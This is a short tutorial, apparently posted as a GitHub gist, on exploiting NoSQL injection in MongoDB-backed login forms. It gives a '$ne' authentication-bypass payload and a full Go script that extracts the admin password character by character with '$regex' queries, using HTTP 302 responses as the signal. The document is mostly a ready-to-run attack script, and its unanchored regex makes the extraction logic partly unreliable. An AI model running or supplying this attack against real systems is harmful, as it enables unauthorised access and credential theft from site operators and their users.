Bruteforce MongoDB Credentials with Regex Match Payload

If a login form is vulnerable to NoSQL injection attack, try bypassing authentication with a payload such as:

username[$ne]=foo&password[$ne]=foo

But explicit login credentials may be required for deeper system access.

When this injection vulnerability exists, a regex matching payload could also enumerate the full plaintext password.

Here is a Go script to bruteforce admin credentials on a login form that uses MongoDB as a backend. In this example, the script assumes unique HTTP response code of 302 when password regex is matched.

package main

import (
	"fmt"
	"net/http"
	"net/url"
	"strings"
)

// Build a rune slice of printable ASCII characters, excluding some special characters that would break the regex
func buildPrintable() []rune {
	var p []rune
	for i := '0'; i <= '9'; i++ {
		p = append(p, i)
	}
	for i := 'A'; i <= 'Z'; i++ {
		p = append(p, i)
	}
	for i := 'a'; i <= 'z'; i++ {
		p = append(p, i)
	}
	special := "~>][<>!@#%^()@_{}"
	for _, c := range special {
		p = append(p, c)
	}
	return p
}

// Post form data with URL-encoded payload
func makePostRequest(data string) int {
	u := "http://vulnerable-site.com"

	req, err := http.NewRequest("POST", u, strings.NewReader(data))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client := &http.Client{
		// Prevent redirects
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	return resp.StatusCode
}

func buildPostData(victim, payload string) string {
	data := url.Values{}
	data.Set("username", victim)
	data.Set("password[$regex]", payload+".*")

	return data.Encode()
}

func main() {
	printable := buildPrintable()
	victim := "admin"
	fmt.Printf("[*] Bruteforcing password for: %s\n", victim)

	for _, a := range printable {
		flag := string(a)
		restart := true

		for restart {
			restart = false

			for _, c := range printable {
				payload := flag + string(c)
				data := buildPostData(victim, payload)

				statusCode := makePostRequest(data)

				if statusCode == 302 {
					fmt.Println(payload)
					flag = payload
					restart = true
				}
			}
		}
	}
}

View on Github Gist